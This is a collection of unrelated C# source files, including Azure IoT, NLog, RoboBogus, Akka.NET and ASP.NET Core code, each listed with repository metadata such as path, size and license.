PatrickRatzow/space-dotnet-sdk
src/JetBrains.Space.Client/Generated/Partials/RepoCommitsSubscriptionFilterPartialBuilder.generated.cs
2,267
C#
namespace LDtkUnity.Editor { internal interface ILDtkPostParseProcess<T> { T Postprocess(T value); } }
17.571429
47
0.658537
[ "MIT" ]
MadSquirrel/LDtkToUnity
Assets/LDtkUnity/Editor/ParsedField/Process/ILDtkPostParseProcess.cs
125
C#
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. // <auto-generated/> #nullable disable using System; using System.Collections.Generic; using Azure.Core; namespace Azure.Iot.Hub.Service.Models { /// <summary> The state information for a device or module. This is implicitly created and deleted when the corresponding device/ module identity is created or deleted in the IoT Hub. </summary> public partial class TwinData { /// <summary> Initializes a new instance of TwinData. </summary> public TwinData() { Tags = new ChangeTrackingDictionary<string, object>(); ParentScopes = new ChangeTrackingList<string>(); } /// <summary> Initializes a new instance of TwinData. </summary> /// <param name="deviceId"> The unique identifier of the device in the identity registry of the IoT Hub. It is a case-sensitive string (up to 128 char long) of ASCII 7-bit alphanumeric chars, and the following special characters {&apos;-&apos;, &apos;:&apos;, &apos;.&apos;, &apos;+&apos;, &apos;%&apos;, &apos;_&apos;, &apos;#&apos;, &apos;*&apos;, &apos;?&apos;, &apos;!&apos;, &apos;(&apos;, &apos;)&apos;, &apos;,&apos;, &apos;=&apos;, &apos;@&apos;, &apos;;&apos;, &apos;$&apos;, &apos;&apos;&apos;}. </param> /// <param name="moduleId"> The unique identifier of the module in the identity registry of the IoT Hub. It is a case-sensitive string (up to 128 char long) of ASCII 7-bit alphanumeric chars, and the following special characters {&apos;-&apos;, &apos;:&apos;, &apos;.&apos;, &apos;+&apos;, &apos;%&apos;, &apos;_&apos;, &apos;#&apos;, &apos;*&apos;, &apos;?&apos;, &apos;!&apos;, &apos;(&apos;, &apos;)&apos;, &apos;,&apos;, &apos;=&apos;, &apos;@&apos;, &apos;;&apos;, &apos;$&apos;, &apos;&apos;&apos;}. </param> /// <param name="tags"> The collection of key-value pairs read and written by the solution back end. They are not visible to device apps. They keys are UTF-8 encoded, case-sensitive and up-to 1KB in length. Allowed characters exclude UNICODE control characters (segments C0 and C1), &apos;.&apos;, &apos;$&apos; and space. The values are JSON objects, up-to 4KB in length. </param> /// <param name="properties"> The desired and reported properties of the twin. </param> /// <param name="etag"> The string representing a ETag for the device twin, as per RFC7232. </param> /// <param name="version"> The version for the device twin including tags and desired properties. </param> /// <param name="deviceEtag"> The string representing a ETag for the device, as per RFC7232. </param> /// <param name="status"> The enabled status of the device. If disabled, the device cannot connect to the service. </param> /// <param name="statusReason"> The reason for the current status of the device, if any. </param> /// <param name="statusUpdateTime"> The date and time when the status of the device was last updated. </param> /// <param name="connectionState"> The connection state of the device. </param> /// <param name="lastActivityTime"> The date and time when the device last connected or received or sent a message. The date and time is sepecified in ISO8601 datetime format in UTC, for example, 2015-01-28T16:24:48.789Z. This value is not updated if the device uses the HTTP/1 protocol to perform messaging operations. </param> /// <param name="cloudToDeviceMessageCount"> The number of cloud-to-device messages sent. </param> /// <param name="authenticationType"> The authentication type used by the device. </param> /// <param name="x509Thumbprint"> The X509 thumbprint of the device. </param> /// <param name="capabilities"> The status of capabilities enabled on the device. </param> /// <param name="deviceScope"> The scope of the device. </param> /// <param name="parentScopes"> The scopes of the upper level edge devices if applicable. Only available for edge devices. </param> internal TwinData(string deviceId, string moduleId, IDictionary<string, object> tags, TwinProperties properties, string etag, long? version, string deviceEtag, TwinStatus? status, string statusReason, DateTimeOffset? statusUpdateTime, TwinConnectionState? connectionState, DateTimeOffset? lastActivityTime, int? cloudToDeviceMessageCount, TwinAuthenticationType? authenticationType, X509Thumbprint x509Thumbprint, DeviceCapabilities capabilities, string deviceScope, IList<string> parentScopes) { DeviceId = deviceId; ModuleId = moduleId; Tags = tags; Properties = properties; Etag = etag; Version = version; DeviceEtag = deviceEtag; Status = status; StatusReason = statusReason; StatusUpdateTime = statusUpdateTime; ConnectionState = connectionState; LastActivityTime = lastActivityTime; CloudToDeviceMessageCount = cloudToDeviceMessageCount; AuthenticationType = authenticationType; X509Thumbprint = x509Thumbprint; Capabilities = capabilities; DeviceScope = deviceScope; ParentScopes = parentScopes; } /// <summary> The unique identifier of the device in the identity registry of the IoT Hub. It is a case-sensitive string (up to 128 char long) of ASCII 7-bit alphanumeric chars, and the following special characters {&apos;-&apos;, &apos;:&apos;, &apos;.&apos;, &apos;+&apos;, &apos;%&apos;, &apos;_&apos;, &apos;#&apos;, &apos;*&apos;, &apos;?&apos;, &apos;!&apos;, &apos;(&apos;, &apos;)&apos;, &apos;,&apos;, &apos;=&apos;, &apos;@&apos;, &apos;;&apos;, &apos;$&apos;, &apos;&apos;&apos;}. </summary> public string DeviceId { get; set; } /// <summary> The unique identifier of the module in the identity registry of the IoT Hub. It is a case-sensitive string (up to 128 char long) of ASCII 7-bit alphanumeric chars, and the following special characters {&apos;-&apos;, &apos;:&apos;, &apos;.&apos;, &apos;+&apos;, &apos;%&apos;, &apos;_&apos;, &apos;#&apos;, &apos;*&apos;, &apos;?&apos;, &apos;!&apos;, &apos;(&apos;, &apos;)&apos;, &apos;,&apos;, &apos;=&apos;, &apos;@&apos;, &apos;;&apos;, &apos;$&apos;, &apos;&apos;&apos;}. </summary> public string ModuleId { get; set; } /// <summary> The collection of key-value pairs read and written by the solution back end. They are not visible to device apps. They keys are UTF-8 encoded, case-sensitive and up-to 1KB in length. Allowed characters exclude UNICODE control characters (segments C0 and C1), &apos;.&apos;, &apos;$&apos; and space. The values are JSON objects, up-to 4KB in length. </summary> public IDictionary<string, object> Tags { get; } /// <summary> The desired and reported properties of the twin. </summary> public TwinProperties Properties { get; set; } /// <summary> The string representing a ETag for the device twin, as per RFC7232. </summary> public string Etag { get; set; } /// <summary> The version for the device twin including tags and desired properties. </summary> public long? Version { get; set; } /// <summary> The string representing a ETag for the device, as per RFC7232. </summary> public string DeviceEtag { get; set; } /// <summary> The enabled status of the device. If disabled, the device cannot connect to the service. </summary> public TwinStatus? Status { get; set; } /// <summary> The reason for the current status of the device, if any. </summary> public string StatusReason { get; set; } /// <summary> The date and time when the status of the device was last updated. </summary> public DateTimeOffset? StatusUpdateTime { get; set; } /// <summary> The connection state of the device. </summary> public TwinConnectionState? ConnectionState { get; set; } /// <summary> The date and time when the device last connected or received or sent a message. The date and time is sepecified in ISO8601 datetime format in UTC, for example, 2015-01-28T16:24:48.789Z. This value is not updated if the device uses the HTTP/1 protocol to perform messaging operations. </summary> public DateTimeOffset? LastActivityTime { get; set; } /// <summary> The number of cloud-to-device messages sent. </summary> public int? CloudToDeviceMessageCount { get; set; } /// <summary> The authentication type used by the device. </summary> public TwinAuthenticationType? AuthenticationType { get; set; } /// <summary> The X509 thumbprint of the device. </summary> public X509Thumbprint X509Thumbprint { get; set; } /// <summary> The status of capabilities enabled on the device. </summary> public DeviceCapabilities Capabilities { get; set; } /// <summary> The scope of the device. </summary> public string DeviceScope { get; set; } /// <summary> The scopes of the upper level edge devices if applicable. Only available for edge devices. </summary> public IList<string> ParentScopes { get; } } }
89.854369
522
0.673042
[ "MIT" ]
AbelHu/azure-sdk-for-net
sdk/iot/Azure.Iot.Hub.Service/src/Generated/Models/TwinData.cs
9,255
C#
// // Copyright (c) 2004-2021 Jaroslaw Kowalski <[email protected]>, Kim Christensen, Julian Verdurmen // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * Neither the name of Jaroslaw Kowalski nor the names of its // contributors may be used to endorse or promote products derived from this // software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF // THE POSSIBILITY OF SUCH DAMAGE. // namespace NLog.Config { using System; using System.Collections.Generic; using System.Reflection; using NLog.Common; using NLog.Internal; /// <summary> /// Factory for locating methods. /// </summary> internal class MethodFactory : INamedItemFactory<MethodInfo, MethodInfo>, INamedItemFactory<ReflectionHelpers.LateBoundMethod, MethodInfo>, IFactory { private readonly Dictionary<string, MethodInfo> _nameToMethodInfo = new Dictionary<string, MethodInfo>(); private readonly Dictionary<string, ReflectionHelpers.LateBoundMethod> _nameToLateBoundMethod = new Dictionary<string, ReflectionHelpers.LateBoundMethod>(); private readonly Func<Type, IList<KeyValuePair<string, MethodInfo>>> _methodExtractor; /// <summary> /// Initializes a new instance of the <see cref="MethodFactory"/> class. /// </summary> /// <param name="methodExtractor">Helper method to extract relevant methods from type</param> public MethodFactory(Func<Type, IList<KeyValuePair<string, MethodInfo>>> methodExtractor) { _methodExtractor = methodExtractor; } /// <summary> /// Scans the assembly for classes marked with expected class <see cref="Attribute"/> /// and methods marked with expected <see cref="NameBaseAttribute"/> and adds them /// to the factory. /// </summary> /// <param name="types">The types to scan.</param> /// <param name="prefix">The prefix to use for names.</param> public void ScanTypes(Type[] types, string prefix) { foreach (Type t in types) { try { if (t.IsClass() || t.IsAbstract()) { RegisterType(t, prefix); } } catch (Exception exception) { InternalLogger.Error(exception, "Failed to add type '{0}'.", t.FullName); if (exception.MustBeRethrown()) { throw; } } } } /// <summary> /// Registers the type. /// </summary> /// <param name="type">The type to register.</param> /// <param name="itemNamePrefix">The item name prefix.</param> public void RegisterType(Type type, string itemNamePrefix) { var extractedMethods = _methodExtractor(type); if (extractedMethods?.Count > 0) { for (int i = 0; i < extractedMethods.Count; ++i) { RegisterDefinition(itemNamePrefix + extractedMethods[i].Key, extractedMethods[i].Value); } } } /// <summary> /// Scans a type for relevant methods with their symbolic names /// </summary> /// <typeparam name="TClassAttributeType">Include types that are marked with this attribute</typeparam> /// <typeparam name="TMethodAttributeType">Include methods that are marked with this attribute</typeparam> /// <param name="type">Class Type to scan</param> /// <returns>Collection of methods with their symbolic names</returns> public static IList<KeyValuePair<string, MethodInfo>> ExtractClassMethods<TClassAttributeType, TMethodAttributeType>(Type type) where TClassAttributeType : Attribute where TMethodAttributeType : NameBaseAttribute { if (!type.IsDefined(typeof(TClassAttributeType), false)) return ArrayHelper.Empty<KeyValuePair<string, MethodInfo>>(); var conditionMethods = new List<KeyValuePair<string, MethodInfo>>(); foreach (MethodInfo mi in type.GetMethods()) { var methodAttributes = (TMethodAttributeType[])mi.GetCustomAttributes(typeof(TMethodAttributeType), false); foreach (var attr in methodAttributes) { conditionMethods.Add(new KeyValuePair<string, MethodInfo>(attr.Name, mi)); } } return conditionMethods; } /// <summary> /// Clears contents of the factory. /// </summary> public void Clear() { _nameToMethodInfo.Clear(); lock (_nameToLateBoundMethod) _nameToLateBoundMethod.Clear(); } /// <summary> /// Registers the definition of a single method. /// </summary> /// <param name="itemName">The method name.</param> /// <param name="itemDefinition">The method info.</param> public void RegisterDefinition(string itemName, MethodInfo itemDefinition) { _nameToMethodInfo[itemName] = itemDefinition; lock (_nameToLateBoundMethod) _nameToLateBoundMethod.Remove(itemName); } /// <summary> /// Registers the definition of a single method. /// </summary> /// <param name="itemName">The method name.</param> /// <param name="itemDefinition">The method info.</param> /// <param name="lateBoundMethod">The precompiled method delegate.</param> internal void RegisterDefinition(string itemName, MethodInfo itemDefinition, ReflectionHelpers.LateBoundMethod lateBoundMethod) { _nameToMethodInfo[itemName] = itemDefinition; lock (_nameToLateBoundMethod) _nameToLateBoundMethod[itemName] = lateBoundMethod; } /// <summary> /// Tries to retrieve method by name. /// </summary> /// <param name="itemName">The method name.</param> /// <param name="result">The result.</param> /// <returns>A value of <c>true</c> if the method was found, <c>false</c> otherwise.</returns> public bool TryCreateInstance(string itemName, out MethodInfo result) { return _nameToMethodInfo.TryGetValue(itemName, out result); } /// <summary> /// Tries to retrieve method-delegate by name. /// </summary> /// <param name="itemName">The method name.</param> /// <param name="result">The result.</param> /// <returns>A value of <c>true</c> if the method was found, <c>false</c> otherwise.</returns> public bool TryCreateInstance(string itemName, out ReflectionHelpers.LateBoundMethod result) { lock (_nameToLateBoundMethod) { if (_nameToLateBoundMethod.TryGetValue(itemName, out result)) { return true; } } if (_nameToMethodInfo.TryGetValue(itemName, out var methodInfo)) { result = ReflectionHelpers.CreateLateBoundMethod(methodInfo); lock (_nameToLateBoundMethod) _nameToLateBoundMethod[itemName] = result; return true; } return false; } /// <summary> /// Retrieves method by name. /// </summary> /// <param name="itemName">Method name.</param> /// <returns>MethodInfo object.</returns> MethodInfo INamedItemFactory<MethodInfo, MethodInfo>.CreateInstance(string itemName) { if (TryCreateInstance(itemName, out MethodInfo result)) { return result; } throw new NLogConfigurationException($"Unknown function: '{itemName}'"); } /// <summary> /// Retrieves method by name. /// </summary> /// <param name="itemName">Method name.</param> /// <returns>Method delegate object.</returns> public ReflectionHelpers.LateBoundMethod CreateInstance(string itemName) { if (TryCreateInstance(itemName, out ReflectionHelpers.LateBoundMethod result)) { return result; } throw new NLogConfigurationException($"Unknown function: '{itemName}'"); } /// <summary> /// Tries to get method definition. /// </summary> /// <param name="itemName">The method name.</param> /// <param name="result">The result.</param> /// <returns>A value of <c>true</c> if the method was found, <c>false</c> otherwise.</returns> public bool TryGetDefinition(string itemName, out MethodInfo result) { return _nameToMethodInfo.TryGetValue(itemName, out result); } } }
41.449799
164
0.60653
[ "BSD-3-Clause" ]
aTiKhan/NLog
src/NLog/Config/MethodFactory.cs
10,321
C#
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated from a template. // // Manual changes to this file may cause unexpected behavior in your application. // Manual changes to this file will be overwritten if the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace lab_43_Entity { using System; using System.Collections.Generic; public partial class CustomerDemographic { [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2214:DoNotCallOverridableMethodsInConstructors")] public CustomerDemographic() { this.Customers = new HashSet<Customer>(); } public string CustomerTypeID { get; set; } public string CustomerDesc { get; set; } [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2227:CollectionPropertiesShouldBeReadOnly")] public virtual ICollection<Customer> Customers { get; set; } } }
37.1
128
0.589398
[ "MIT" ]
jaspreetkaur28/CSharpLabsTraining
lab_43_Entity/CustomerDemographic.cs
1,113
C#
using System; using System.Text.Json.Serialization; using Buildersoft.Andy.X.Extensions.DI; using Buildersoft.Andy.X.Logic; using Buildersoft.Andy.X.Middleware; using Buildersoft.Andy.X.Router.Hubs.Dashboard; using Buildersoft.Andy.X.Router.Hubs.DataStorage; using Buildersoft.Andy.X.Router.Hubs.Readers; using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Diagnostics.HealthChecks; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Http; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Diagnostics.HealthChecks; using Microsoft.Extensions.Hosting; namespace Buildersoft.Andy.X { public class Startup { public Startup(IConfiguration configuration) { Configuration = configuration; } public IConfiguration Configuration { get; } // This method gets called by the runtime. Use this method to add services to the container. public void ConfigureServices(IServiceCollection services) { services.AddControllers() .AddJsonOptions(opts => { opts.JsonSerializerOptions.Converters.Add(new JsonStringEnumConverter()); }); services.AddSignalR(opt => { opt.MaximumReceiveMessageSize = null; }) .AddJsonProtocol(opts => { opts.PayloadSerializerOptions.Converters.Add(new JsonStringEnumConverter()); }); // Here we will add Authentication and Authorization services.AddApiAuthentication(Configuration); services.AddApiAuthorization(); // Add cors services.AddCors(options => { options.AddPolicy("CorsPolicy", builder => builder.WithOrigins("http://localhost:4200", "https://localhost:4200", "https://calm-sand-01dfcac03.azurestaticapps.net") .AllowAnyMethod() .AllowAnyHeader() .AllowCredentials()); }); // Add Health Checks services.AddHealthChecks(); // Add Swagger UI for Endpoints Documentation services.AddSwagger(); // Repos services.AddSingleton<StorageMemoryRepository>(); // Add Singletons for Router Repositories services.AddRouterRepository(); // Add Andy Tenants services.AddTenantRepositories(); // Add Andy Dashboard Services services.AddDashboardServices(); // Implementing SignalR services.AddRouterServices(); } // This method gets called by the runtime. Use this method to configure the HTTP request pipeline. public void Configure(IApplicationBuilder app, IWebHostEnvironment env, IServiceProvider serviceProvider) { if (env.IsDevelopment()) { app.UseDeveloperExceptionPage(); app.UseSwaggerView(); } app.UseMiddleware<AuthorizationMiddleware>(); app.UseStaticFiles(); app.UseHttpsRedirection(); app.UseRouting(); app.UseCors("CorsPolicy"); app.UseAuthorization(); app.UseAuthentication(); app.UseDashboardServices(); // Using Andy X Router Background Services app.UseEndpoints(endpoints => { // Mapping API Endpoints endpoints.MapControllers(); // Mapping health checks endpoints.MapHealthChecks("/health", new HealthCheckOptions() { ResultStatusCodes = { [HealthStatus.Healthy] = StatusCodes.Status200OK, [HealthStatus.Degraded] = StatusCodes.Status200OK, [HealthStatus.Unhealthy] = StatusCodes.Status503ServiceUnavailable } }); // Mapping SignalR Hubs endpoints.MapHub<DataStorageHub>("/realtime/v1/datastorage"); endpoints.MapHub<ReaderHub>("/realtime/v1/reader"); endpoints.MapHub<DashboardHub>("/realtime/v1/dashboard"); }); } } }
33.78626
137
0.588116
[ "Apache-2.0" ]
buildersoftdev/andyx
src/Buildersoft.Andy.X/Startup.cs
4,426
C#
using System; using System.Collections.Generic; using System.Text; namespace AbstractFactory { public class ConcretePassagemOnibusInterestadual : PassagemOnibusInterestadual { public ConcretePassagemOnibusInterestadual(string origem, string destino, DateTime dataHoraPartida) : base(origem, destino, dataHoraPartida) { } public override void ExibirDetalhes() { Console.WriteLine(String.Format("Passagem de ônibus interestadual: {0} para {1}, Data Hora: {2}", Origem, Destino, DataHoraPartida)); } } }
29.45
145
0.687606
[ "MIT" ]
CledsonEC/design-pattern-gof
gof/AbstractFactory/ConcretePassagemOnibusInterestadual.cs
592
C#
using System; namespace WebApiTest { public class WeatherForecast { public DateTime Date { get; set; } public int TemperatureC { get; set; } public int TemperatureF => 32 + (int)(TemperatureC / 0.5556); public string Summary { get; set; } } }
18.117647
70
0.568182
[ "MIT" ]
Tson1/WebApiDevSamples
WebApiTest/WeatherForecast.cs
308
C#
using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using Bogus; namespace RoboBogus { /// <summary> /// A class used to invoke generation requests of type <typeparamref name="TType"/>. /// </summary> /// <typeparam name="TType">The type of instance to generate.</typeparam> public class AutoFaker<TType> : Faker<TType> where TType : class { AutoConfig _config; /// <summary> /// Instantiates an instance of the <see cref="AutoFaker{TType}"/> class. /// </summary> public AutoFaker() : this(null, null) { } /// <summary> /// Instantiates an instance of the <see cref="AutoFaker{TType}"/> class. /// </summary> /// <param name="locale">The locale to use for value generation.</param> public AutoFaker(string locale) : this(locale, null) { } /// <summary> /// Instantiates an instance of the <see cref="AutoFaker{TType}"/> class. /// </summary> /// <param name="binder">The <see cref="IAutoBinder"/> instance to use for the generation request.</param> public AutoFaker(IAutoBinder binder) : this(null, binder) { } /// <summary> /// Instantiates an instance of the <see cref="AutoFaker{TType}"/> class. /// </summary> /// <param name="locale">The locale to use for value generation.</param> /// <param name="binder">The <see cref="IAutoBinder"/> instance to use for the generation request.</param> public AutoFaker(string locale = null, IAutoBinder binder = null) : base(locale ?? AutoConfig.DefaultLocale, binder) { Binder = binder; // Ensure the default create action is cleared // This is so we can check whether it has been set externally DefaultCreateAction = CreateActions[currentRuleSet]; CreateActions[currentRuleSet] = null; } /// <summary> /// The <see cref="IAutoBinder"/> instance to use for the generation request. /// </summary> public IAutoBinder Binder { get; set; } internal AutoConfig Config { set { _config = value; Locale = _config.Locale; Binder = _config.Binder; // Also pass the binder set up to the underlying Faker binder = _config.Binder; // Apply a configured faker if set if (_config.FakerHub != null) { FakerHub = _config.FakerHub; } } } bool CreateInitialized { get; set; } bool FinishInitialized { get; set; } Func<Faker, TType> DefaultCreateAction { get; set; } /// <summary> /// Configures the current faker instance. /// </summary> /// <param name="configure">A handler to build the faker configuration.</param> /// <returns>The current faker instance.</returns> public AutoFaker<TType> Configure(Action<IAutoGenerateConfigBuilder> configure) { var config = new AutoConfig(AutoFaker.DefaultConfig); var builder = new AutoConfigBuilder(config); configure?.Invoke(builder); Config = config; return this; } /// <summary> /// Generates an instance of type <typeparamref name="TType"/>. /// </summary> /// <param name="ruleSets">An optional list of delimited rule sets to use for the generate request.</param> /// <returns>The generated instance of type <typeparamref name="TType"/>.</returns> public override TType Generate(string ruleSets = null) { var context = CreateContext(ruleSets); PrepareCreate(context); PrepareFinish(context); return base.Generate(ruleSets); } /// <summary> /// Generates a collection of instances of type <typeparamref name="TType"/>. /// </summary> /// <param name="count">The number of instances to generate.</param> /// <param name="ruleSets">An optional list of delimited rule sets to use for the generate request.</param> /// <returns>The collection of generated instances of type <typeparamref name="TType"/>.</returns> public override List<TType> Generate(int count, string ruleSets = null) { var context = CreateContext(ruleSets); PrepareCreate(context); PrepareFinish(context); return base.Generate(count, ruleSets); } /// <summary> /// Populates the provided instance with auto generated values. /// </summary> /// <param name="instance">The instance to populate.</param> /// <param name="ruleSets">An optional list of delimited rule sets to use for the populate request.</param> public override void Populate(TType instance, string ruleSets = null) { var context = CreateContext(ruleSets); PrepareFinish(context); base.Populate(instance, ruleSets); } AutoGenerateContext CreateContext(string ruleSets) { var config = new AutoConfig(_config ?? AutoFaker.DefaultConfig); if (!string.IsNullOrWhiteSpace(Locale)) { config.Locale = Locale; } if (Binder != null) { config.Binder = Binder; } return new(FakerHub, config) { RuleSets = ParseRuleSets(ruleSets) }; } IEnumerable<string> ParseRuleSets(string ruleSets) { // Parse and clean the rule set list // If the rule set list is empty it defaults to a list containing only 'default' // By this point the currentRuleSet should be 'default' if (string.IsNullOrWhiteSpace(ruleSets)) { ruleSets = null; } return from ruleSet in ruleSets?.Split(',') ?? new[] { currentRuleSet } where !string.IsNullOrWhiteSpace(ruleSet) select ruleSet.Trim(); } void PrepareCreate(AutoGenerateContext context) { // Check a create handler hasn't previously been set or configured externally if (!CreateInitialized && CreateActions[currentRuleSet] == null) { CreateActions[currentRuleSet] = faker => { // Only auto create if the 'default' rule set is defined for generation // This is because any specific rule sets are expected to handle the full creation if (context.RuleSets.Contains(currentRuleSet)) { var type = typeof(TType); // Set the current type being generated context.ParentType = null; context.GenerateType = type; context.GenerateName = null; // Get the members that should not be set during construction var memberNames = GetRuleSetsMemberNames(context); foreach (var memberName in TypeProperties.Keys) { if (memberNames.Contains(memberName)) { var path = $"{type.FullName}.{memberName}"; var existing = context.Config.SkipPaths.Any(s => s == path); if (!existing) { context.Config.SkipPaths.Add(path); } } } // Create a blank instance. It will be populated in the FinalizeAction registered // by PrepareFinish (context.Binder.PopulateInstance<TType>). return context.Binder.CreateInstance<TType>(context); } return DefaultCreateAction.Invoke(faker); }; CreateInitialized = true; } } void PrepareFinish(AutoGenerateContext context) { if (!FinishInitialized) { // Try and get the registered finish with for the current rule FinalizeActions.TryGetValue(currentRuleSet, out var finishWith); // Add an internal finish to auto populate any remaining values FinishWith((faker, instance) => { // If dynamic objects are supported, populate as a dictionary var type = instance?.GetType(); if (ReflectionHelper.IsExpandoObject(type)) { // Configure the context context.ParentType = null; context.GenerateType = type; context.GenerateName = null; context.Instance = instance; // Get the expando generator and populate the instance var generator = AutoGeneratorFactory.GetGenerator(context); generator.Generate(context); // Clear the context instance context.Instance = null; return; } // Otherwise continue with a standard populate // Extract the unpopulated member infos var members = new List<MemberInfo>(); var memberNames = GetRuleSetsMemberNames(context); foreach (var member in TypeProperties) { if (!memberNames.Contains(member.Key)) { members.Add(member.Value); } } // Finalize the instance population context.Binder.PopulateInstance<TType>(instance, context, members); // Ensure the default finish with is invoke if (finishWith != null) { finishWith.Action(faker, instance); } }); FinishInitialized = true; } } List<string> GetRuleSetsMemberNames(AutoGenerateContext context) { // Get the member names from all the rule sets being used to generate the instance var members = new List<string>(); foreach (var ruleSetName in context.RuleSets) { if (Actions.TryGetValue(ruleSetName, out var ruleSet)) { members.AddRange(ruleSet.Keys); } } return members; } } }
36.407767
115
0.520356
[ "MIT" ]
SimonCropp/RoboBogus
src/RoboBogus/AutoFaker[T].cs
11,250
C#
using System; using System.Linq; using System.Threading.Tasks; using Akka.Actor; using Akka.Cluster.Tools.PublishSubscribe; namespace Akka.CQRS.Subscriptions.DistributedPubSub { /// <summary> /// <see cref="ITradeEventSubscriptionManager"/> that uses the <see cref="DistributedPubSub.Mediator"/> under the hood. /// </summary> public sealed class DistributedPubSubTradeEventSubscriptionManager : TradeEventSubscriptionManagerBase { private readonly IActorRef _mediator; public DistributedPubSubTradeEventSubscriptionManager(IActorRef mediator) { _mediator = mediator; } public override async Task<TradeSubscribeAck> Subscribe(string tickerSymbol, TradeEventType[] events, IActorRef subscriber) { var tasks = ToTopics(tickerSymbol, events).Select(x => _mediator.Ask<SubscribeAck>(new Subscribe(x, subscriber), TimeSpan.FromSeconds(3))); await Task.WhenAll(tasks).ConfigureAwait(false); return new TradeSubscribeAck(tickerSymbol, events); } public override async Task<TradeUnsubscribeAck> Unsubscribe(string tickerSymbol, TradeEventType[] events, IActorRef subscriber) { var tasks = ToTopics(tickerSymbol, events).Select(x => _mediator.Ask<UnsubscribeAck>(new Unsubscribe(x, subscriber), TimeSpan.FromSeconds(3))); await Task.WhenAll(tasks).ConfigureAwait(false); return new TradeUnsubscribeAck(tickerSymbol, events); } public static DistributedPubSubTradeEventSubscriptionManager For(ActorSystem sys) { var mediator = Cluster.Tools.PublishSubscribe.DistributedPubSub.Get(sys).Mediator; return new DistributedPubSubTradeEventSubscriptionManager(mediator); } } }
38.291667
135
0.698585
[ "Apache-2.0" ]
Aaronontheweb/akkadotnet-cluster-workshop
src/Akka.CQRS.Subscriptions/DistributedPubSub/DistributedPubSubTradeEventSubscriptionManager.cs
1,840
C#
using CExtensions.EFModelGenerator.Formatters; using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Globalization; using System.Linq; using System.Text; using System.Threading.Tasks; namespace CExtensions.EFModelGenerator.Model { public class Table { internal Table() { Columns = new List<Column>(); } internal void Init(String name) { Name = name; } public String Name { get; set; } public IList<Column> Columns { get; set; } [JsonIgnore] internal FormatterCollection<Table> FormatterCollection { get; set; } [JsonIgnore] internal FormatterCollection<Table> DbSetFormatters { get; set; } [JsonIgnore] public IEnumerable<Column> PrimaryKeys { get { return from c in Columns where c.IsPrimaryKey == true select c; } } [JsonIgnore] public IEnumerable<ForeignKey> ForeignKeys { get { List<ForeignKey> result = new List<ForeignKey>(); var list = from c in Columns where c.IsForeignKey == true select c; foreach (var col in list) { var key = new ForeignKey(col); result.Add(key); } return result; } } /// <summary> /// All columns of the table except Foreign and Primary keys /// </summary> [JsonIgnore] public IEnumerable<Column> DataColumns { get { return from c in Columns where c.IsForeignKey != true && c.IsPrimaryKey != true select c; } } [JsonIgnore] public bool ContainsTwoSameForeignReference { get{ if (ForeignKeys.Count() > 0) { var result = from f in ForeignKeys group f by f.Column.ForeignTable?.Name into g where g.Count() > 1 select new { Count = g.Count() }; return result.FirstOrDefault() != null; } return false; } } [JsonIgnore] public String CLRTypeName => FormatTableName() ; [JsonIgnore] internal string Info { get; set; } [JsonIgnore] public string CollectionName => FormatDbSetName(); public override string ToString() { return CLRTypeName + $" [{this.Name}]"; } public string FormatTableName() { var formatters = FormatterCollection.GetFormattersFor(this.Name); string newTableName = this.Name; foreach (var formatter in formatters) { if (formatter.IsApplicable(this, newTableName)) { newTableName = formatter.Apply(this, newTableName); if (formatter.SkipOtherFormatters(this, newTableName)) { break; } } } //Todo change the Info thing with sthg else. basically it is used to check duplicates return newTableName + Info; } public string FormatDbSetName() { var formatters = DbSetFormatters.GetFormattersFor(this.Name); //add a default formatter for tables formatters.Insert(0,new UseClrTypeTableNameFormatter()); formatters.Insert(1,new PluralizeTableNameFormatter()); string newTableName = this.Name; foreach (var formatter in formatters) { if (formatter.IsApplicable(this, newTableName)) { newTableName = formatter.Apply(this, newTableName); if (formatter.SkipOtherFormatters(this, newTableName)) { break; } } } return newTableName; } } }
26.64375
106
0.49871
[ "MIT" ]
CedricDumont/CExtensions-EFModelGenerator
src/CExtensions.EFModelGenerator/Model/Table.cs
4,265
C#
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using SuperConfig; using YamlDotNet.Serialization; namespace YouiToolkit { internal class Config { /// <summary> /// 全局单例 /// </summary> public static Config Instance { get; set; } = ConfigCtrl.Init(); /// <summary> /// 机器人IP地址 /// </summary> public string IPAddr { get; set; } = string.Empty; /// <summary> /// 地图名称 /// </summary> [YamlIgnore] public string[] MapNames = Array.Empty<string>(); } }
21.166667
72
0.570079
[ "Unlicense" ]
MaQaQu/Tool
YouiToolkit/Models/Config/Config.cs
663
C#
